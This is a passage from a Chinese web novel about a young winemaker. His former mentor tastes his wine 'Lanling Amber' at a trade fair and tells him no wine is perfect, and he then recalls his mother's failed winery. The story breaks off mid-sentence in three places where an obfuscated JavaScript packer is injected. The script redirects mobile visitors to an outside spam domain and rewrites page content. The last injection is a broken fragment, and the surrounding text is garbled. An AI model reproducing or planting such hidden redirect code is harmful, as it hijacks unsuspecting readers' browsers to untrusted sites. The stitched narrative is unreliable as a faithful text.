“一支好喝的酒,能够开口向品尝者诉说关于它自己的一切。在某种程度上,它是酿酒师意志的全部体现。”他说,“所以,就算这些酒商与自媒体博主不认识我,那又如何?作为同道中人,他们品尝过‘斯芸’与‘兰陵琥珀’,而且认为它们都是好喝的酒——这就已经足够了。” “这是对我本人的最大褒美。” 几秒钟的沉默过后,杭总监终于开口捧场。 “你的职业宣言还令人怪感动的。” 赶在这个柜台的参展商转身看到他们之前,杭帆赶紧把旁边的这位酿酒师拉走:“如果你能别对着手里的酒杯摆出那副嫌弃到像看蟑螂尸体的表情的话……” “可那个就是真的难喝。”岳大师义正词严,“我实在没法昧着良心给它好脸色!” “良心这种东西,偶尔昧它一下也没问题吧?” 杭总监一边吐槽,一边也不忘自己的老本行:“说起来,刚才许东是有带他自己的摄影一起吗?我好像听见有连摁快门的声音。” “有吗?我没注意。好像没有吧。” 岳大师今天实在是再不想提起许东这个人,遂把手里的酒杯径直递到杭帆面前,理直气壮地说道:“你快尝一下!这个酒千真万确地就是很难喝啊!不是普通级别的‘水’,就是难喝,难喝到会让你为枉死的葡萄哀悼。” “……你都说难喝了,还要让我也喝一口?!你是人吗岳一宛?!” “我或许不是人,但它也是真的刷新了‘不好喝’的新记录。哎杭总监,你别躲啊!咱们说好的有难同当呢?” 杭帆气绝:“我就没答应过这种事情!!” 酒店会场的角落里,他俩一个抓着相机,一个端着酒杯,眼看着就将爆发出新一场小学鸡互啄级的攻防战,却听到一个苍老的异域口音在边上响起道:“Ivan. ” “Ivan,是你吗?” 岳一宛转过身去,在看清了来人的面庞之后,不假思索地蹲下了身来:“Gianni老师!” 他几乎难以掩饰自己语气里的激动与意外之情:“您怎么会来这里?前几个月的邮件里,您不是说自己刚刚动完手术吗?医生已经同意您坐长途飞机了吗?” 来人坐在电动轮椅上,满头白发,轻微下陷的眼眶里盛着一对明亮的灰蓝色眼睛。 “当然,当然,Ivan,一切都没有问题。”他笑着拍了拍岳一宛的手臂,削瘦面容上洋溢着愉快的光采:“好几年不见,你怎么变得比我的孙女儿们都还啰嗦了?” 非常识趣地,杭帆主动往旁边让了两步,试图为这对重逢的师生腾出一些私下的交谈空间。 但岳一宛却已经率先侧过脸来,不无兴奋地向他介绍道:“杭帆!这位是我的师父,Gianni Darlan,罗彻斯特的葡萄酒全球顾问,也是斯芸酒庄的第一位首席酿酒师。” 说完,他又利落地切进了法语模式,叽里哇啦地对着老先生一通比划。杭帆听到了自己的名字,估摸着这应该是在向对方介绍自己也同在斯芸酒庄里工作云云。 “您好,Darlan先生。” 杭帆也小心地在轮椅前蹲了下来,好让自己的视线高度与对方齐平:“我是杭帆,负责斯芸酒庄在新媒体平台上的宣传。” 鬓发霜白的老人微笑着与他握了握手。杭帆注意到,那是一双骨节突出且有力的,常年劳作的手。 “哦,Gianni老师刚刚说,他已经是罗彻斯特的‘前顾问’了。” 岳一宛自发地充当起了场上的临时翻译,又用十分不以为然的口吻顺口修改了先前的介绍:“老师让你不用在意什么斯芸的第一位酿酒师之类的事情,直接称呼他为Gianni就好。嗯?什么?当然不!你才是罗彻斯特最好的酿酒师,毫无疑问!” 直到抬眼看见杭帆脸上忍俊不禁的笑,他这才意识到自己后半句话忘记要换成法语讲。 笑什么!他转到老师的轮椅背后,恶形恶状地冲着小杭总监挤眉弄眼:谁还没有个疏忽大意的时候! 在香格里拉酒店的会场里绕着圈,他们有一搭没一搭地讲起那些过去的故事。 和杭帆最初所设想的不同,Gianni老先生并非是大学教授那一类的老师。 当今的世界里,说到葡萄酒,人们自然会首先想到法国,而说到法国葡萄酒,最先被提起的当然就是勃艮第与波尔多这两个著名产区。 早在上世纪初,罗彻斯特集团就已买下了他们的第一家勃艮第酒庄,没过几年,又有两家波尔多名庄也先后插上了罗彻斯特的旗帜。 在二战后欧洲最艰苦的那段岁月里,Gianni Darlan在乡间出生并长大,为谋求一份能够吃饱肚子的工作,他十四岁起就开始给波尔多的一家酒庄做学徒。 在那个年代,酿酒师可不是一份受人尊敬的工作。 “没有机械化设备的帮助,学徒们只能借用一些简单的工具,将收获来的所有葡萄都给手动压碎。” 帮忙推着轮椅的岳一宛,在注意避让来往人流的同时,还不忘要给老师的讲述插入一些补充性的描述:“这实在是一项很恐怖的重体力劳动,杭总监,我曾经亲身试验过。没别的,就纯累,累到昏厥。” 旧事重提,Gianni老先生在轮椅上笑到左右摇晃,喜获不孝逆徒的白眼两枚。 “那还不是你让我试的吗,我亲爱的老师?!还说什么体验一下最传统的酿造方法!根本就是在耍我玩儿吧?!” 执掌酒庄的老庄主,在战争中失去了他仅有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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与杭帆交换了一个“这人又开始了”的眼神,Gianni老先生连连摇头:“得了吧Ivan!你,小时候,纯良?嘿,小伙子,我可忘不了这个——在我手底下做实习生的时候,你甚至连葡萄园里的狗都要欺负两下!” “啊?狗?” 不知道是不是因为这个世界上有太多的生物都深受岳一宛荼毒的缘故,这人竟还思考了一会儿,才想起到底是在说哪条狗。 “那条总跑进屋里讨糖吃的边境牧羊犬吗?” 他还振振有词地抗辩起来了:“那也能算是狗?它简直都要成精了!” “等等,且容我打断一下……”杭帆有了些不太好的预感,“岳一宛,你都对狗做了什么啊?” “是狗先挑的头!我只是正当防卫。” 煞有介事的,斯芸的首席酿酒师做出了声明。 “它总是从背后跳上沙发把我挤下去,或者突然冲出来叼走我手上三明治。而我,一个绝不屈服于边牧暴政的人类,隔三差五就把它的食盆给藏起来,或者趁它在树荫下睡着的时候用手机播放狼嚎录音什么的,这难道不都是合情合理的抗争吗?” 有言曰道,狗咬人不是新闻,人咬狗才是。 那岳一宛这种和狗打得有来有回的又是什么? 小杭总监心有定论。小杭总监只是含笑不语。 “不过Gianni老师,刚做完手术,您不在家里好好休养,怎么突然想到要跑中国的葡萄酒展会上来了?” 三个人绕着酒店的会场转悠了一整圈之后,岳一宛笑问:“不会是因为Darlan夫人来中国开学术会议,您这个做家属的也顺便跟出来遛弯儿吧?” “既是,也不完全是。” Gianni老先生笑眯眯地抬起头,“你应该也能够理解吧,Ivan?虽然我并没有能在斯芸待过很长的时间,但这不妨碍我在退休之后常常想念起它。” “我听说,去年你为斯芸酒庄推出了一支全新的副牌酒款,‘兰陵琥珀’——是这么发音的吗?” 面向自己的弟子兼继任者,斯芸酒庄的第一任首席酿酒师温和地提出请求。 “我可以尝一尝它吗?” 只是用余光随意往身旁瞟过的一眼,杭帆却惊讶地发现,岳一宛整个人都因这句问话而僵住了。 33.答辩时间 兰陵美酒郁金香,玉碗盛来琥珀光。 古兰陵郡,今属山东地界。 郁金香者,谓其醇厚芬芳;琥珀光者,称其光艳动人。 斯芸有此美酒,故名“兰陵琥珀”。 自豪之意,无需言表。 可看岳一宛的脸色,这位年轻的酿酒师却半点都没有要为自己的作品而感到骄傲的意思。 “……行。” 倒好像是有人正拿枪逼他点头一样。 在罗彻斯特酒业的展位前,等待试饮的客人们已经摩肩接踵地排成了长队。考虑到老人家的身体情况,杭帆暂时把相机托付给了岳一宛,拿起两张参展证走向了展台的工作人员。 不一会儿,杭帆拎着一支还未开瓶的“兰陵琥珀”回来了,另一只手上还捧着醒酒器。 “那边的负责人说,今天其实没准备开‘兰陵琥珀’来给客人试饮。” 小杭总监从口袋里掏出借来的海马刀,对岳一宛说:“但我出示了你的工作证,他们就立刻把给了我这一整瓶。” “哈”了一声,岳大师接过那支酒:“看来我的面子还挺大。” 螺锥的钻入深处,软木塞乖巧地跳出了瓶口。岳一宛抬起右手,酒液便立刻如涌泉般轻快沿着倾斜瓶口坠落而下。 那如丝线般长缕不绝的纤细殷红,重重地垂落下来,又轻轻跌落进醒酒器的肚腹中。胭脂红色的大片水幕,正像是一脉溪流撞碎在了玻璃的绝壁上,淋漓地翻腾出喧哗的水声。 “神乎其技!真真的神乎其技!” 这套堪称是近景表演式的醒酒动作,不仅吸引来了一群驻足围观的路人,就连Gianni老先生都连连击掌赞叹不已:“我得说,Ivan,不管看过多少次,你的醒酒技术都是这么的激动人心!” 杭帆更是看得大为震撼,“你……你平时都是这么醒酒的吗?” 有这般富于观赏性的绝活,怎么也不早点拿出来表演一下! “这也是酿酒师的必备技能?” “不是。”岳一宛回答得干脆,“跟着油管视频学的,很多年以前了。” “非常花俏,非常浮夸,但是很有用。”Gianni笑呵呵地冲着杭帆使着眼色,“这也是非常Ivan的风格,你说是吧?” 呃。杭帆心中生出了一些无知的羞愧:原来这套花里胡哨的醒酒动作是有用的吗?不是为了单纯耍帅? 杭总监正在反省自己最近是否过于不学无术,边上的岳大师却淡淡地插了一嘴道:“放心,这题确实超纲了。醒酒的内容我们还没开始上呢。” 所谓醒酒,就是让新开瓶的红葡萄酒与空气进行适当接触。在柔和的氧化反应作用下,干涩单宁会渐渐变得圆融而丝滑,如同枯槁的美人重返盛年。 “要完全激发它的香气与口感,一般而言,我们会尖晶将‘兰陵琥珀’在醒酒器里静置一小时以上。” 岳一宛一边说,一边执起了酒杯,再度将醒酒器中的酒液倾倒成了纺纱般精细的一缕。 “但是,只要能够大大增加酒液与空气的接触面积,它也可以在短时间内就迅速地苏醒。” 浅浅斟至杯中四分之一的位置,岳一宛终于放下手中的玻璃容器,道:“醒酒的动作与器皿都只是外在的表现形式,而它们最终都只服务于同一个目的——令葡萄酒更快更充分地接触到空气。” “只要能让手里的葡萄酒变得更好喝一点,我不介意在大庭广众之下表演这番猴戏。” 说着,他向Gianni老师递出了酒杯,浑不觉自己的指尖正因用力过度而挤压出了青白色。 当事人自以为沉稳的伪装并没能够蒙蔽杭帆的直觉。一个模糊的闪念,如电光般迅疾地窜入了旁观者的脑海。 ——难道,岳一宛是在紧张? 小杭总监恍然大悟。 对啊!作为岳一宛的师父兼斯芸酒庄的前任首席酿酒师,Gianni老先生点名品尝“兰陵琥珀”——这不就是老师来检查你的作业了吗! 杭帆飞快地扭过了头去,以免自己当场就发出大不敬的快乐笑声。 在岳一宛的屏息注视中,Gianni将酒杯放到了自己的鼻子底下。 老先生先是简单地闻了闻气味,然后又晃动了几下杯身,重又深深地吸入一大口气——他闻得用力又认真,就好像是要把这支葡萄酒的香气输送进全身上下的每一个细胞里那样。 “美妙的香气。”他评价道,“让我想到我在斯芸的第一个春天。天空是淡淡的蓝色,沿路的山坡上开满了粉红的桃花与淡白的李花。层次简单,但很有生命力。” “还有一些……啊,我认为应该是玫瑰花的香味。是清晨五点,新鲜的带着露水的一支玫瑰,优雅,清冽,还有着丝绒花瓣的质感。” 微笑起来的时候,老先生连脸上的皱纹也变淡许多:“很多年以前,我们也在酒窖后面种过几株玫瑰。那可真是甜美的香气啊,你还记得吗?我们还常用它们和水果一起熬成酱,做成点心,或是抹着面包吃。” “我记得,因为那玩意儿比赤霞珠的果皮还涩嘴,Gianni。” 他的得意爱徒一点也不捧场,只是抱起了胳膊,又是叹气又是摇头地嘀咕着:“你们能吃得下去,完全只是因为Darlan夫人往里面加了致死量的砂糖。” “多亏了你的醒酒技术,Ivan,这支‘兰陵琥珀’已经被完全地唤醒了。” 做老师的那个只假装什么也没听到,陶醉地悠游于酒杯的世界里:“果实的味道闻起来很甜美,像新切开的无花果,还有新摘下来的红李子,令人感到发自肺腑的愉快。我要是没猜错,应该是用晚收品种制的吧?” 岳一宛点了点头,“晚收的马瑟兰葡萄。” 他的声音有些忐忑,还夹杂着几分明显的拘谨,就好像是在毕业答辩上交出了一篇漏洞百出的论文:“还混酿了一些赤霞珠,和少量的西拉。” “很完美的采收,对成熟度的控制非常精准。”Gianni叠声赞叹: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546039|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还有,这可爱的奶油与甘早的香气,哈哈,这是在橡木桶中陈年而得到的结果吧?十二个月,还是十八个月?” “十六个月。”岳一宛回答,“原计划是桶陈十八个月的,但十六个月的时候,我觉得再放下去就会有点‘太超过’了。” Gianni微微一笑,举杯品啜了一口酒。 “非常饱满的酒体,单宁的骨架也很踏实。酸度平稳,没有过分锋利扎嘴的感觉。” 他转动着手里的酒杯,灰蓝色的眼睛轻轻地眯了起来,似是在细细回味着口腔里的余韵。 “斯卡拉大剧院的咏叹调,厚重,但又华彩飞扬。我愿意将这支‘兰陵琥珀’比作是这样的事物。” 他笑着抬起了眼睛:“干得很好,Ivan,斯芸酒庄应该为你而感到骄傲。” 面对老师的夸奖,斯芸的首席酿酒师只是不置可否地撇了一下嘴。 在岳一宛这个年纪的男人身上,这实在是个略显孩子气的动作,但杭帆和Gianni早都已经不以为怪了。 片刻的犹豫之后,岳一宛最终放弃了任何形式的迂回,单刀直入地掀开了这个问题。 “我能请您诚实地告诉我吗,Gianni老师?” “作为酿酒师——不是作为斯芸的首席,也不是罗彻斯特集团的顾问。如果不考虑任何商业化的立场,只是单纯地从酿酒师的角度而言:你认为,‘兰陵琥珀’是一瓶足够好的酒吗?” 放下酒杯,老酿酒师意味深长地看向他。 “‘足够好’是要有多好,Ivan?这个世界上甚至还有很多人不喜欢86年的拉菲呢。” “如果有人跟我说他讨厌86年的拉菲,我会和他击掌三次并大力夸奖他的品味。” 岳一宛回以他经典的反讽腔调。 Gianni老先生眨了眨眼,灰蓝色的眸子里渐渐流淌起了狡黠的笑意。 “啊喔,Ivan。” 他嗤嗤地笑起来,活脱脱就是一个正在对邻家小孩恶作剧得逞的顽劣坏老头。 “我发现了,你不喜欢自己的酒,是不是?‘兰陵琥珀’,多动听的名词,可我就说你怎么从没在邮件里提起过这个!” 无动于衷地,岳一宛抱臂站在原地。 “酿酒师不喜欢自己的酒,就像诗人总是会更喜欢别人的作品。”他说,“这很正常,不是吗?” “嗯哼,嗯哼。” 前后左右地来回移动着自己的坐驾,Gianni乐颠颠地晃动着他那颗鬓发霜白的脑袋,像是个坐上了投币摇摇车而兴奋不已的老小孩。 “你说得有点道理,Ivan,有点道理。我以前也曾经这么想过,我是说,中年的时候。” 他笑嘻嘻地看向自己的得意门生:“但你才几岁,Ivan?你不会这么快就开始中年危机了吧?” “别闹了,Gianni!”岳一宛厉声道,“我没有在跟你开玩笑!” “这对我很重要。请你认真回答我。” 34.论完美 “我在波尔多的那家酒庄门外见到你的时候,”Gianni说,“你看起来像是只有十四五岁,Ivan,又瘦又长的一条,像是在蚯蚓身上顶了个英俊的脑袋。” “亚洲血统真可怕不是吗?要不你说自己已经年满十七了,我还在想,那得是多无情的父母,才把这么小的孩子赶出门自己讨生活啊!哎,又来了,Ivan,就是你现在的这种眼神!当年也是,我都还没开口说话呢,你已经开始用那种看笨蛋与傻子的眼神看我了。” 耄耋之年的老酿酒师,双眼里闪烁着戏谑而温情的光彩。他看着岳一宛,对方显然正因为这话题的突然跳跃而感到不耐烦,但Gianni笑容更深了。 “你知道你那时候就已经是个任性妄为的臭小子了吗,Ivan?你就那么径直地走到酒庄的门口来,掏出你的学生证件说你是波尔多大学的学生,问这个夏天能不能来我们的酒窖里做实习。而当我向一群实习生的候选人们提问,说在那么多想来我们酒庄实习的学生里,为什么要选择在座诸位的时候,你回答竟然是说,你是他们中最好的那个,‘任何脑子还没被橡木桶泡坏的人都应该看得出来’。” 哈哈大笑了两声,Gianni这才又继续说道:“你当时可把助理酿酒师给气得够呛,Ivan,他差点就直接把你从名单上划掉了。” “是我对他说,我想要给你一次机会。”Gianni说,“让他重新把你从名单里圈了出来。” “但千万别搞错,Ivan,我只是个普通人,没有预测未来的能力,更不可能只凭某种超现实的直觉,就从乌泱泱的一大堆学生中挑出了什么旷世奇才。我自认没有这样的慧眼,而之所以同意你来酒庄实习,也只是因为我觉得这会非常有趣。” “你在简历里说,你的母亲是在中国工作的阿根廷裔酿酒师,而你父亲则来自一个世世代代都酿造着中国传统酒的大家族。这可太好玩儿了!那时候我迫不及待地想要看看你在酒窖里工作的样子。无论你是能成功地证明自己,还是因捅出了大篓子而被酒庄扫地出门,对我来说,都会是非常有趣的一次经历。Ivan,你或许早已经知道了这点。” 岳一宛抱着胳膊,没有说话。他没有再继续把Gianni说的话翻译成中文,但通过首席酿酒师嘴角向下的弧度,杭帆也多少能猜到此人正被迫聆听一些他不乐意去听的东西。 “Ivan,当你以实习生身份来到酒庄的第一个夏天,我并没有想过你真的能成为酿酒师。”Gianni说,“因为,哈哈哈哈,你们这些当代年轻人嘛,总是来来去去,想一出是一出,从不能在一个地方真正地安定下来。” “这是偏见。”岳一宛没好气地回复道。 Gianni笑了,“这确实是偏见。”他温和地说,“但作为一个老头子,我对这个世界有些基于自身经验而产生的偏见,这是可以被容忍的。” “但我能理解他们,Ivan。与我成长的那个年代相比,当今的世界上有更多不同的生活方式。年轻人们可以尝试他们想要的每一种职业,永远不必急着立刻做出决定。作为一生的归宿,酒庄或许并不是一个最激动人心的选择,如果让我重返十八岁,在当下的这个世界里重新再活一次的话……诚实地说,我不确定我自己还会不会继续选择做一名酿酒师。我或许也会想要去尝试玩摇滚乐,做网红博主,或者拍电影什么的。这些可都比酿酒要酷炫得多了!” “但你和其他人不一样的地方正在于此,不是吗,Ivan?当你这个十七岁的,高傲得让人生气的臭小鬼,站在我的酒庄门口宣称说自己会成为世界上最好的酿酒师的时候,我心想,这个乳臭未干的死小孩一定不清楚自己到底在说什么。可事实上,你知道自己做什么,Ivan,你永远都很清楚地明白自己在做什么,也知道自己想要什么。” “通往未来的无数种可能性,你比任何人都更提前也更确信地选定了酿酒这条道路。你比任何人都相信,自己是为此而生,也是为此而来的。” “这真是一种可怕的天赋。” 回忆是如浓雾般朦胧又危险的事物,那浩瀚如烟的往事之中,Gianni也会触摸到一些令他感到畏惧的棱角。 “做你的老师可不是一件容易事儿,Ivan。”他说。 “那些想从事酿酒行业的实习生都很尊敬我,看着我就像是看着一尊葡萄酒主保圣人的雕塑。可你这小子,你看着我的样子就像是在看着一个亟待被挑战的对手,一个注定要被你给打败的竞争者。” “你总是在问‘为什么’,不仅问那些基于经验而产生的规则‘到底为什么正确’,你还要问另外那些从没被尝试过的事情‘为什么被认定是错误的’。有些事情根本连我自己都没有仔细想过,可你追在我的屁股后面问‘Gianni,为什么’的时候,我哪里不好意思在十几岁的小屁孩面前露怯啊!” 伸出他那老树枝一般的手指,Gianni哼哼唧唧地在岳一宛身上戳了好几下。 “小子,你应该没想到过,我本来计划是七十岁的时候就退休的。但因为你,Ivan,你从天而降,像是葡萄田里爬出来的害虫一样自说自话地出现在了我的酒庄门口,还大放厥词说要成为超越所有前人的酿酒师——吓得我又重新夹紧了这身松散的老骨头!” “为了不在你小子面前丢脸,我顶着这样一把年纪,重又开始补习行业里最前沿的知识,就只是为了能在你面前找回做老师的颜面。回想起来,我的神呐!那几年可真是一场没有止境的折磨,或者说,是酒神在醉狂中所赐予我这个老头子的残酷考验。” “Ivan,”他说,“你是个很优秀的酿酒师,我虽然没能从你十七岁的时候就认识到这一点,我也已经察觉到这个事实很多年了。否则,在从罗彻斯特卸任之前,我是不会那样努力地跑去游说各方,好让你这样一个毛头小子来接手斯芸酒庄的。把斯芸交给你,是我做出的最好选择。” “所以如果你真的要问我,‘兰陵琥珀’是一支好酒吗?作为一个老酒鬼,和一个为罗彻斯特酒业服务了大半辈子的忠诚雇员,我会告诉你,是的,它是一支好酒。它对得起罗彻斯特为斯芸投 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568890|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入的全部资金,也对得起斯芸酒庄的团队为它所付出的每一分努力。” 老酿酒师笑了一笑,语气陡然严肃起来:“可身为酿酒师,身为你的老师,身为一个十多年前开始就被你这小子当成竞争对手看待的老头子,我要告诉你——不,就正如Ivan你所想的那样,它还不够好,远远不够。” 毅然决然地,那双灰蓝色眼睛掷出了他的结论。 “你以为一支‘完美’且‘足够好’的酒是什么样的?能碾压式地征服所有人,能令所有酿酒师都会为之惊叹?”Gianni嗤嗤地笑起来,“这绝无可能,小子。绝无可能。” “让我告诉你吧Ivan,无论是‘兰陵琥珀’,还是‘斯芸’,它们永远都不会成为你口中所谓的‘足够好’的酒,因为世界上本就不存在这样的东西。身为酿酒师,我现在不会,未来也绝不会承认这个世界上有任何‘完美无瑕’的葡萄酒存在。” 重重地拍了下岳一宛的胳膊,老酿酒师道:“追求极致的‘完美’,这通常只会给自己带来不幸,走上一条越来越狭窄的思路。” “如果我是你的话,小子,我会趁早放弃掉这个念头。”他说。 可是岳一宛这个人,哪是那么容易就能被说服的。 “可是!”年轻的酿酒师仍旧试图分辨:“我认为——” “‘可是’,‘但是’,哎呀,都随便啦!” 摇头晃脑着,Gianni老先生欢快地打断了对方的发言:“年轻人,偶尔认真听一听我们这种老头子的经验,对你也不会有什么坏处嘛!” 知徒莫如师。对付岳一宛这种人,核心战术就是千万不能给他以回嘴的机会。 “我今天感觉有点累了,还是回楼上的酒店房间里歇一歇吧。”老酿酒师心满意足地咂起了嘴,抱起怀里的醒酒器,慢慢悠悠地驾着轮椅驶向了通往客房楼层的电梯口。 “再见,Ivan!见到你真开心!下次来法国拜访的时候,记得要带上全部年份的‘兰陵琥珀’一起啊!” 丢下最后的那句话,老头儿快乐地开着轮椅消失在了电梯门后。 只留岳一宛,神色复杂地伫立在原地,也不知是在想些什么。 杭帆有些担心地看他:“……你还好吗?” “嗯?”岳大师只是心不在焉地应了一声,“没事。” “真的吗?”杭帆不是很相信,“你现在的脸色黑得像是准备去杀人。Gianni先生都跟你说什么了?” “一些老调重弹的事情,世界上没有‘完美’的葡萄酒之类的。” “嗯……我觉得,这听起来似乎好像也确实有点道理。” “是吗?”岳一宛反问道,“可如果它没有‘足够好’的话,酒庄要如何才能持续运转下去呢?” 这人原来也有考虑过销量问题的啊?杭帆大为惊讶。 向来清高的岳大师,两手不沾尘俗事物,竟然也考虑过酒庄运营这么世俗的问题吗? “我母亲的葡萄酒庄,在她去世后不到一年,就因为经营压力而被卖掉了。” 35.新千年挽歌 当机立断地,杭帆拉起他往会场外面走。 “我们去外面透透气。” 三月末的蓉城,正是翠叶烂漫而晓花重红的好时节。摇荡着的春风,翩然拂过锦江之水,姗然撩动起涟徊的碧波。 他们从酒店里走出来,漫然搭上了一辆沿着江边缓行的公交。看了眼身后那位不知正在想些什么的家伙,杭帆干脆地用自己的手机刷了两次乘车码。 岳大师本就身量高挑,缎料西装马甲更为那挺拔背影平添上几分矜贵气质,再加上领口与袖缘那一串串贝母纽扣,珠光流溢,俨然是位时装大片里走下来的人物。 而杭总监则从头到脚穿了一身黑,在修身牛仔裤勾勒出的笔直长腿上面,又套一件大了几个码的宽松连帽卫衣。要不是卫衣正面的口袋里露出了些工作证与充电宝之类社畜感十足的零碎物件,实在也与那些潮牌御用的街拍模特无异。 午后的公交车上空座尚多,但有这样两位英俊青年并排坐在那里,左右邻人也很难不向他们投去好奇的视线。 但笼罩在那二人身周,却是沉重得像是落雨乌云般的气氛。 “我妈妈的酒庄不怎么挣钱。”岳一宛语气极为平静。 “而我父亲家里是做黄酒生意的,绍兴黄酒,在全国乃至整个华人文化圈里都非常有名。” 那是个放在爱情小说里都稍显俗套的故事。 改革开放的自由之风,让关门多年的岳家黄酒厂重获新生。除了武侠故事里那些荡气回肠的“花雕酒”与“女儿红”之外,他们也生产一种名叫“加饭酒”的调味用料酒,这成为了酒厂在未来几十年中最赚钱的产品。 很快,时间来到了1987年。为更好地精进酿造技术,也试图为自家的黄酒找到海外经销的渠道,二十岁的岳家长子远赴美国加州求学。 且不知这位年轻人有没有真的学到洋人的酿酒技术(至少他的亲儿子岳一宛对此持保留态度),但他在搞销售方面确实颇有一手:短短六年的时间,他跑遍了美国西岸的所有亚洲超商与唐人街,通过挨家挨户上门推销的方式,为自家的料酒收获了大量海外订单。 六年之后,他以岳氏酒业美国分公司创始人的身份回到了国内,与他一起回来的,正是已经怀有身孕的妻子Ines。 “我的祖父,是那种最最冥顽不化的老派人物。” 岳一宛嘴角一撇,语气中多有不屑。 “晨昏定省,朝参暮礼,老头子到死都还信奉这套规矩。大清亡了半个多世纪了,他都还指望要儿媳妇们捧着早饭去他房里问安呢!” 岳家老头做了一辈子的酒坊老板。年轻时因为家中成分不好,是人人喊打的“乡绅遗毒”与“地主小子”,光景颇为难捱。人至中年,他又突然时来运转,从“老岳”变成“岳老板”,再一步飞升成了“岳总”,风光富贵,一时无两。 「做人,不能忘本!」 痛骂家中小辈的时候,他总是一边用拐杖咚咚跺打着地面,一边咆哮着小朋友们根本听不懂的话。 「人在做,祖宗在看!你看看你做的这些事,你看看!祖宗都要不认你这个混账王八!」 在这样一个老头看来,儿子娶外国女孩为妻,本就已是桩“混淆我华夏血统”的大罪过。而这个异族娘们儿竟还在自己儿子的枕旁大吹妖风,说要在黄酒之外,再酿那些什么外国人才喝葡萄酒——这简直就是要造反啊! “诶?”杭帆很难理解老人家的这套逻辑,“可在中国的传统文化里,葡萄酒不也是一种‘古来有之’的事物吗?” 葡萄美酒夜光杯,欲饮琵琶马上催。 如此千古名句,男女老少无不能诵。葡萄酒又怎么会是“外国人才喝的东西”呢? 将手一摆,岳一宛哼笑两声,道:“别问,问就是‘蛮夷侮辱中国文化’,他自有一套道理。” “再问,老东西就要勃然大怒着让你滚出家门了。” 沿着江岸的大道,公交车平稳向前。这支脉脉长流的锦江之水,春波如碧,风物悦目,或许与千百年之前的今日也并无什么显著的不同。 顺着这万古不息的水流一路向下,东去千里,便能进入汉江的流域。 一千三百年以前,自巴蜀东下的李白,大约也正是乘着这一条水路,漂泊辗转地抵达了襄阳城。 遥看汉水鸭头绿,恰似葡萄初酦醅。 因失意而狂歌自嘲的大诗人,在醉倒汉江湖畔的时候,手里一定也曾同样握有一杯,如春水般引人沉醉的葡萄美酒吧? “那个老头子很讨厌我妈妈。” 岳一宛说,“外国人的身份是一方面。投钱买地建厂,花了大价钱去做葡萄酒,却又迟迟没有得到金钱上的回报,这是另一方面。” 九十年代的中国,正是西方文化再度大规模涌入人们眼帘的时代。 喝红酒,吃法餐,这种西化在生活方式,在当时被视为时髦与潮流的象征。 而潮流是一柄双刃剑。在加速普及了人们对“葡萄酒”这一事物的认知的同时,它也强化着那些堪称是负面的刻板印象。 “葡萄酒就是外国舶来品”,“根本不甜,所以一点也不好喝”,“葡萄酒定是法国产的才算好”——在品尝了第一口之后,人们就已根据心中既有的偏见,简单粗暴地做出了定论。 而更糟糕的事情还在后面。 仿佛是一群闻到血味的凶残鲨鱼那样,在“葡萄酒”三个字上嗅到了商机的大小酒坊,争先恐后地开始了抢滩登陆作战:制造方式?别在乎,葡萄果汁兑食用乙醇也照样能喝。喜欢甜的?没问题,糖精加多少那还不就只是一句话的事儿!纯正酿造?没错,保真,千真万确都是用葡萄酿的酒,至于是什么品种的葡萄,那你就别管了…… 十年,对近代的葡萄酒工业历史而言,只不过是弹指一挥间。但之于国产葡萄酒,这却是一段混乱到濒临毁灭的漫长暗夜。 “我到现在也不知道,我父亲到底是怎么想的。对于家里的葡萄酒庄……对于妈妈要在中国酿葡萄酒的这件事,他从未做过任何形式的直白表态。” 他们从公交车上下来,迎面走进了街头的熏然春风里。 单手插兜的岳一宛,额前几绺微卷的黑发也被清风潦草地吹乱。自久远过去的伤感情绪终究是在那双翡翠色眼瞳里留下了痕迹,如同劲风拂过盛夏草原之时,伏倒的草叶下露出一片片蜿蜒而干涸的河道残骸。 “投建一家酒庄——我是说,严格意义上的那种酒庄,不仅有酿造车间,还得是有自己的葡萄种植园的那种——所需花费的金钱,动辄便以亿计。” 步行街道的两侧,大大小小的广告屏上声光绚丽。拎着橙色或白色纸袋的客人们,满面笑容地走出店门。杭帆放眼望去,至少看到了七八个罗彻斯特集团旗下的牌子。 奢侈,是金钱的游戏。而建立一家属于自己的酒庄,这更是奢侈中的奢侈。 “但金钱从不会凭空而来。” 岳一宛平淡地说道,“商人每扔出一笔钱,都是在期待它能带来更大的回报。而‘酒庄’这种东西,它又与珠宝豪宅之类能够随时间流逝而逐渐增值的物件有着本质性的不同——单纯地买下它,又或放在那里无人关照,酒庄是不可能自己就生出钱来的。” 虽然身无余财,但在常识与逻辑的判断下,杭帆也并非不能理解:在所有类型的投资里,葡萄酒庄,恐怕是最最吃力不讨好的那一种。 因为它永远需要技艺精熟的团队为之劳动与耕作,永远需要人们年复一年地为它付出心血,永远需要大量且繁重的日常维护工作。这一切都意味着,自诞生的那一刻起,酒庄就成为了一台全年无休的钞票粉碎机。 “她没有赶上好时候。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 